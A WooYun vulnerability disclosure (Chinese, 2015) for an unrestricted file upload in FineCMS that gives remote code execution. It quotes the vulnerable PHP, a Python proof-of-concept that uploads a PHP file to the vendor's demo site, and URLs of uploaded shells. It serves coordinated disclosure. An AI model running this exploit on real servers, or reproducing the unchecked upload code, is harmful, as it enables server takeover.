当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105251

漏洞标题:FIneCMS免费版无条件getshell (附poc脚本)

相关厂商:dayrui.com

漏洞作者: 1c3z

提交时间:2015-04-07 17:44

修复时间:2015-07-07 18:36

公开时间:2015-07-07 18:36

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-07: 细节已通知厂商并且等待厂商处理中
2015-04-08: 厂商已经确认,细节仅向厂商公开
2015-04-11: 细节向第三方安全合作伙伴开放
2015-06-02: 细节向核心白帽子及相关领域专家公开
2015-06-12: 细节向普通白帽子公开
2015-06-22: 细节向实习白帽子公开
2015-07-07: 细节向公众公开

简要描述:

第一次,好紧张

详细说明:

路径:dayrui/libraries/Chart/ofc_upload_image.php

$default_path = '../tmp-upload-images/';
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
$destination = $default_path . basename( $_GET[ 'name' ] );
echo 'Saving your image to: '. $destination;

$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);


无任何限制,可以直接上传。。
poc:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__author__ = '1c3z'
import urllib2
import random
fileName = "shell" + str(random.randrange(1000,9999)) + ".php"
target = "http://v1.finecms.net/dayrui/libraries/Chart/ofc_upload_image.php"
def uploadShell():
url = target + "?name=" + fileName
req = urllib2.Request(url, headers={"Content-Type": "application/oct"})
res = urllib2.urlopen(req, data="<?print(md5(0x22))?>")
return res.read()
def poc():
res = uploadShell()
if res.find("tmp-upload-images") == -1:
print "Failed !"
return
print "upload Shell success"
url = "http://v1.finecms.net/dayrui/libraries/tmp-upload-images/" + fileName
md5 = urllib2.urlopen(url).read()
if md5.find("e369853df766fa44e1ed0ff613f563bd") != -1:
print "poc: " + url
poc()

漏洞证明:

本地运行截图

本地运行截图.PNG


deom poc:
http://v2.finecms.net/dayrui/libraries/tmp-upload-images/shell2067.php
http://v2.finecms.net/dayrui/libraries/tmp-upload-images/shell2277.php

修复方案:

好像没用到这个代码,删除即可

版权声明:转载请注明来源 1c3z@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-04-08 18:34

厂商回复:

第一个,好害怕!!

最新状态:

2015-04-08:可以作为ci来发布